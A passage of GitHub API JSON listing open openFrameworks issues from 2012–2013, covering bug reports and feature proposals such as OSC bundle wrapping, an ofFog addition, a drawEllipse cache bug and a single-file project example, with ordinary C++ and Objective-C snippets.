,"color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2013-01-09T09:31:05Z","updated_at":"2013-01-13T20:31:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Apparently, some libraries (e.g. Arduino's OSC library) can't deal with OSc bundles. while it would be more appropriate that those libraries are fixed (bundles are part of the official [spec](http://opensoundcontrol.org/spec-1_0)), we could in the meantime work around this limitation by introducing an option to skip wrapping bundles around every sent message [here](https://github.com/openframeworks/openFrameworks/blob/master/addons/ofxOsc/src/ofxOscSender.cpp#L83-L85)\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,6563.msg42814.html#msg42814\r\nhttp://forum.openframeworks.cc/index.php/topic,11693.msg51583\r\n\r\nseems like an easy fix, could probably be implemented with an additional default argument `bool wrapInBundle = true` in `ofxOscSender::sendMessage` to not affect existing code."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1802","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1802/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1802/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1802/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1802","id":9779503,"number":1802,"title":"arm-linux (aka Raspberry Pi / e-nix / etc) branch tracking issue.","user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2013-01-08T19:18:04Z","updated_at":"2013-02-19T16:57:16Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This issue is here as a cross reference to the embedded / arm-linux branch here:\r\n\r\nhttps://github.com/openFrameworks-RaspberryPi/openFrameworks develop-raspberrypi branch\r\n\r\nWhen \"core\" issues are addressed / fixed, etc in that branch, we will list them here. When we merge the develop-raspberrypi branch into the core in the coming weeks / month it will make closing core easier.\r\n\r\nping @arturoc @jvcleave @danthemellowman @kawalt @bilderbuchi (and anyone else I've missed!)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1797","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1797/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1797/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1797/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1797","id":9716863,"number":1797,"title":"feature ofFog","user":{"login":"kalwalt","id":1275858,"avatar_url":"https://secure.gravatar.com/avatar/4ec3f9bd7d21934ccfbcc5242b786cd0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4ec3f9bd7d21934ccfbcc5242b786cd0","url":"https://api.github.com/users/kalwalt","html_url":"https://github.com/kalwalt","followers_url":"https://api.github.com/users/kalwalt/followers","following_url":"https://api.github.com/users/kalwalt/following","gists_url":"https://api.github.com/users/kalwalt/gists{/gist_id}","starred_url":"https://api.github.com/users/kalwalt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kalwalt/subscriptions","organizations_url":"https://api.github.com/users/kalwalt/orgs","repos_url":"https://api.github.com/users/kalwalt/repos","events_url":"https://api.github.com/users/kalwalt/events{/privacy}","received_events_url":"https://api.github.com/users/kalwalt/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2013-01-06T14:56:29Z","updated_at":"2013-01-15T13:47:52Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i made this littlle addition to the core you can find here https://github.com/kalwalt/openFrameworks/tree/feature-kalwalt-ofFog\r\n , previuosly was an addon\r\n https://github.com/kalwalt/ofxFog\r\n\r\ni think there are some improvements to do. but i want to know if make sense to add it to the core lib or not.\r\nThe example itself i think could be improved adding others simple meshes to render in a better way the fog effect.\r\nlet me know what you think. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1796","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1796/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1796/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1796/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1796","id":9710132,"number":1796,"title":"drawEllipse mini bug","user":{"login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","html_url":"https://github.com/roymacdonald","followers_url":"https://api.github.com/users/roymacdonald/followers","following_url":"https://api.github.com/users/roymacdonald/following","gists_url":"https://api.github.com/users/roymacdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/roymacdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roymacdonald/subscriptions","organizations_url":"https://api.github.com/users/roymacdonald/orgs","repos_url":"https://api.github.com/users/roymacdonald/repos","events_url":"https://api.github.com/users/roymacdonald/events{/privacy}","received_events_url":"https://api.github.com/users/roymacdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-01-05T21:50:42Z","updated_at":"2013-01-06T14:49:52Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I found this inside void ofGLRenderer::drawEllipse(float x, float y, float z, float width, float height)\r\n\r\n\t`vector & circleCache = circlePolyline.getVertices();\r\n\tfor(int i=0;i<(int)circleCache.size();i++){\r\n\t\tcirclePoints[i].set(radiusX*circlePolyline[i].x+x,radiusY*circlePolyline[i].y+y,z);\r\n\t}`\r\n\r\nIt makes no sense having circleCache as it is not being used besides getting it's size. Shouldn't this get removed or instead use inside the for loop the circleCache intead of circlePolyline to retrieve the vertices?\r\n draw circle actually uses the circle cache.\r\n`ofGLRenderer::drawCircle(float x, float y, float z, float radius){\r\n\tvector & circleCache = circlePolyline.getVertices();\r\n\tfor(int i=0;i<(int)circleCache.size();i++){\r\n\t\tcirclePoints[i].set(radius*circleCache[i].x+x,radius*circleCache[i].y+y,z);\r\n\t}`\r\n\r\nwouldn't it be better that draw circle calls drawEllipse and passes the radius as the height and width?\r\ndoes the 2 extra multiplications involved make it not so optimal?\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1795","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1795/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1795/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1795/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1795","id":9707648,"number":1795,"title":"Feature shader include","user":{"login":"chparsons","id":298082,"avatar_url":"https://secure.gravatar.com/avatar/b320a570028e58a10abedd141ee63668?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b320a570028e58a10abedd141ee63668","url":"https://api.github.com/users/chparsons","html_url":"https://github.com/chparsons","followers_url":"https://api.github.com/users/chparsons/followers","following_url":"https://api.github.com/users/chparsons/following","gists_url":"https://api.github.com/users/chparsons/gists{/gist_id}","starred_url":"https://api.github.com/users/chparsons/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chparsons/subscriptions","organizations_url":"https://api.github.com/users/chparsons/orgs","repos_url":"https://api.github.com/users/chparsons/repos","events_url":"https://api.github.com/users/chparsons/events{/privacy}","received_events_url":"https://api.github.com/users/chparsons/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2013-01-05T17:18:44Z","updated_at":"2013-03-11T07:55:48Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1795","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1795.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1795.patch"},"body":"see https://github.com/openframeworks/openFrameworks/issues/1731#issuecomment-11916584\r\n\r\nofShader support for #pragma includes, currenlty working only with shaders loading from files, includes from inside shaders keep the same path logic as ofShader::load and ofShader::setupShaderFromFile, i.e. it uses the OF data path.."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1793","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1793/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1793/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1793/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1793","id":9696212,"number":1793,"title":"Feature save load camera","user":{"login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","html_url":"https://github.com/roymacdonald","followers_url":"https://api.github.com/users/roymacdonald/followers","following_url":"https://api.github.com/users/roymacdonald/following","gists_url":"https://api.github.com/users/roymacdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/roymacdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roymacdonald/subscriptions","organizations_url":"https://api.github.com/users/roymacdonald/orgs","repos_url":"https://api.github.com/users/roymacdonald/repos","events_url":"https://api.github.com/users/roymacdonald/events{/privacy}","received_events_url":"https://api.github.com/users/roymacdonald/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-01-04T22:01:03Z","updated_at":"2013-01-04T22:01:03Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1793","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1793.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1793.patch"},"body":"save and load methods for ofCamera and ofEasyCam.\r\nofEasyCam inherits from ofCamera and and also saves several other parameters.\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1790","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1790/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1790/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1790/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1790","id":9682798,"number":1790,"title":"ofImage::draw doesn't work on windows XP","user":{"login":"jsheperd","id":2662055,"avatar_url":"https://secure.gravatar.com/avatar/10a544e0d54efdf22dc0f055ca488bd0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"10a544e0d54efdf22dc0f055ca488bd0","url":"https://api.github.com/users/jsheperd","html_url":"https://github.com/jsheperd","followers_url":"https://api.github.com/users/jsheperd/followers","following_url":"https://api.github.com/users/jsheperd/following","gists_url":"https://api.github.com/users/jsheperd/gists{/gist_id}","starred_url":"https://api.github.com/users/jsheperd/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jsheperd/subscriptions","organizations_url":"https://api.github.com/users/jsheperd/orgs","repos_url":"https://api.github.com/users/jsheperd/repos","events_url":"https://api.github.com/users/jsheperd/events{/privacy}","received_events_url":"https://api.github.com/users/jsheperd/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":13,"created_at":"2013-01-04T15:15:11Z","updated_at":"2013-01-08T10:41:46Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\r\nexamples/graphics/blendingExample shows only an empty squere at the cursor position on XP (win32).\r\nI have moved the /bin distro folder to another XP, and I have seen the same result.\r\n\r\nI have checked with v0072 and v0073 on my XP and on my Win7 too.\r\n\r\nSo the next thing works on windows7, but not on XP:\r\n\r\nvoid testApp::draw(){\r\n ofImage test;\r\n test.loadImage(\"rainbow.jpg\");\r\n test.draw(mouseX, mouseY, 100, 100);\r\n}\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1780","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1780/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1780/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1780/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1780","id":9590453,"number":1780,"title":"setText bug in ofxiPhoneKeyboard ","user":{"login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-12-31T09:34:59Z","updated_at":"2012-12-31T09:34:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"just copying this from the forum - my searches didn't turn up anything\r\n\r\nfrom\r\nhttp://forum.openframeworks.cc/index.php/topic,11561.0/topicseen.html\r\n\r\nHi folks,\r\n\r\nFound a bug in setting the text in textfields, in OF0073.\r\n\r\nIf you just use the normal setText method it just displays it temporarily (as if you're still editing) and doesn't save it.\r\nYou can check this by trying a getText immediately after the setText and you'll see the getText returns null. getLabelText returns the setText value, but as soon as you close the textfield, that value is gone.\r\n\r\nSo, if you want your setText to store the value immediately upon setting, you need to do this:\r\n\r\nIn ofxiPhoneKeyboard.mm:\r\n\r\n```\r\n- (void) setText: (NSString *)text \r\n{ \r\n [_textField setText:text]; \r\n \r\n} \r\n```\r\nNew code:\r\n```\r\n- (void) setText: (NSString *)text \r\n{ \r\n [_textField setText:text]; \r\n [self textFieldDidEndEditing:_textField]; \r\n \r\n} \r\n```\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1779","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1779/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1779/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1779/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1779","id":9578914,"number":1779,"title":"add an example of a single-file project","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2012-12-30T01:00:34Z","updated_at":"2012-12-30T12:21:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"my current starting point for prototyping new ideas with OF looks like this:\r\n\r\n````c++\r\n#include \"ofAppGlutWindow.h\"\r\n#include \"ofMain.h\"\r\n\r\nclass ofApp : public ofBaseApp {\r\npublic:\r\n\tvoid setup() {\r\n\t}\r\n\tvoid update() {\r\n\t}\r\n\tvoid draw() {\r\n\t}\r\n};\r\n\r\nint main() {\r\n\tofAppGlutWindow window;\r\n\tofSetupOpenGL(&window, 1280, 720, OF_WINDOW);\r\n\tofRunApp(new ofApp());\r\n}\r\n````\r\n\r\nthat's a single-file project contained entirely in a `main.cpp`. i like it because it means i don't have to answer questions like \"should this go in the header or not\" when i'm only prototyping a small idea.\r\n\r\n@bilderbuchi just suggested that it might be helpful to have a minimal example like this in the `examples` folder to show people how they might construct a single-file example for reporting bugs or suggesting features (for example like https://github.com/openframeworks/openFrameworks/issues/1674#issuecomment-11756116). i think that could be really cool, and i'd be glad to add this if other people are also interested. so this issue is more to gauge interest.\r\n\r\np.s.: as an aside, it would be cool if we had a macro like this:\r\n\r\n````c++\r\n#define ofStart(appName, width, height, windowMode) \\\r\nint main() {\\\r\n\tofAppGlutWindow window;\\\r\n\tofSetupOpenGL(&window, width, height, windowMode);\\\r\n\tofRunApp(new appName());\\\r\n}\r\n````\r\n\r\nand `ofMain.h` included `ofAppGlutWindow.h`, then a minimal single-file example would look like:\r\n\r\n````c++\r\n#include \"ofMain.h\"\r\nclass ofApp : public ofBaseApp {\r\npublic:\r\n\tvoid setup() {}\r\n\tvoid update() {}\r\n\tvoid draw() {}\r\n};\r\nofStart(ofApp, 1280, 720, OF_WINDOW);\r\n````\r\n\r\nthis idea is from cinder, which uses:\r\n\r\n````c++\r\n#if defined( CINDER_MAC )\r\n\t#define CINDER_APP_BASIC( APP, RENDERER )\t\t\t\t\t\t\t\t\\\r\n\tint main( int argc, char * const argv[] ) {\t\t\t\t\t\t\t\t\\\r\n\t\tcinder::app::AppBasic::prepareLaunch();\t\t\t\t\t\t\t\t\\\r\n\t\tcinder::app::AppBasic *app = new APP;\t\t\t\t\t\t\t\t\\\r\n\t\tcinder::app::Renderer *ren = new RENDERER;\t\t\t\t\t\t\t\\\r\n\t\tcinder::app::AppBasic::executeLaunch( app, ren, #APP, argc, argv );\t\\\r\n\t\tcinder::app::AppBasic::cleanupLaunch();\t\t\t\t\t\t\t\t\\\r\n\t\treturn 0;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\r\n\t}\r\n...\r\n````"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1778","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1778/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1778/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1778/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1778","id":9578598,"number":1778,"title":"ofQTKitPlayer crash with ofxCocoaWindow","user":{"login":"ascorbin","id":900709,"avatar_url":"https://secure.gravatar.com/avatar/9cff00ec4a5ef434ed3694c7f84b231b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9cff00ec4a5ef434ed3694c7f84b231b","url":"https://api.github.com/users/ascorbin","html_url":"https://github.com/ascorbin","followers_url":"https://api.github.com/users/ascorbin/followers","following_url":"https://api.github.com/users/ascorbin/following","gists_url":"https://api.github.com/users/ascorbin/gists{/gist_id}","starred_url":"https://api.github.com/users/ascorbin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ascorbin/subscriptions","organizations_url":"https://api.github.com/users/ascorbin/orgs","repos_url":"https://api.github.com/users/ascorbin/repos","events_url":"https://api.github.com/users/ascorbin/events{/privacy}","received_events_url":"https://api.github.com/users/ascorbin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2012-12-29T23:54:21Z","updated_at":"2013-01-01T00:33:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"always after a while this crashes:\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup() {\r\n\r\nmov.loadMovie(\"movies/#4.6.mov\", OF_QTKIT_DECODE_TEXTURE_ONLY);\r\nmov.play();\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update() {\r\n\r\nmov.update();\r\n\r\nmov.setPosition(ofRandom(1.0));\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw() {\r\n\r\nmov.draw(20, 20, 320, 160);\r\n}\r\n\r\na multithread/openGL problem?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1772","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1772/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1772/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1772/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1772","id":9525221,"number":1772,"title":"ios main.mm examples are a bit inconsistant (examples vs template, etc)","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-12-26T18:55:19Z","updated_at":"2012-12-27T17:12:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\r\nthe template for IOS and the main.mm for some of the examples are not the same, so it's hard to tell what the best main.mm is... I am making new projects with the project generator and they have the thin main.mm below (no window generation / window options)....\r\n\r\nthere are currently two, which seem to be iphone / ipad specific: \r\n\r\n #include \"ofMain.h\"\r\n #include \"testApp.h\"\r\n\r\n int main(){\r\n ofAppiPhoneWindow * iOSWindow = new ofAppiPhoneWindow();\r\n \r\n iOSWindow->enableAntiAliasing(4);\r\n \r\n iOSWindow->enableRetinaSupport();\r\n \r\n ofSetupOpenGL(iOSWindow, 480, 320, OF_FULLSCREEN);\r\n ofRunApp(new testApp);\r\n }\r\n\r\nvs\r\n\r\n #include \"ofMain.h\"\r\n #include \"testApp.h\"\r\n\r\n int main(){\r\n ofSetupOpenGL(1024,768, OF_FULLSCREEN);\t\t\t// <-------- setup the GL context\r\n\r\n ofRunApp(new testApp);\r\n }\r\n\r\nI wonder if it would help things to standardize the main.mm and just have some #define for ipad vs iphone target or some commented out section explaining what to use when. \r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1771","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1771/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1771/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1771/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1771","id":9520595,"number":1771,"title":"ofxCvImage::erode(int value) support","user":{"login":"yty","id":841770,"avatar_url":"https://secure.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{